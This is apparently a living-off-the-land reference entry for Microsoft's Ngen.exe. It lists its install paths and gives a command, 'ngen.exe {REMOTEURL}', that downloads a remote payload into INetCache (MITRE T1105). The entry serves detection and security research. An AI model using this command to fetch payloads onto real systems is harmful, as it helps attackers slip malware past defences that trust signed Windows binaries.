Ngen.exe

type: OSBinaries

Microsoft Native Image Generator.

Full path

C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Commands

DownloadUser T1105
It will download a remote payload and place it in INetCache.
```
ngen.exe {REMOTEURL}
```
Downloads payload from remote server using the Microsoft Native Image Generator utility.
os: Windows 10, Windows 11
Download: INetCache

acknowledgement: Avihay Eldad @AvihayEldad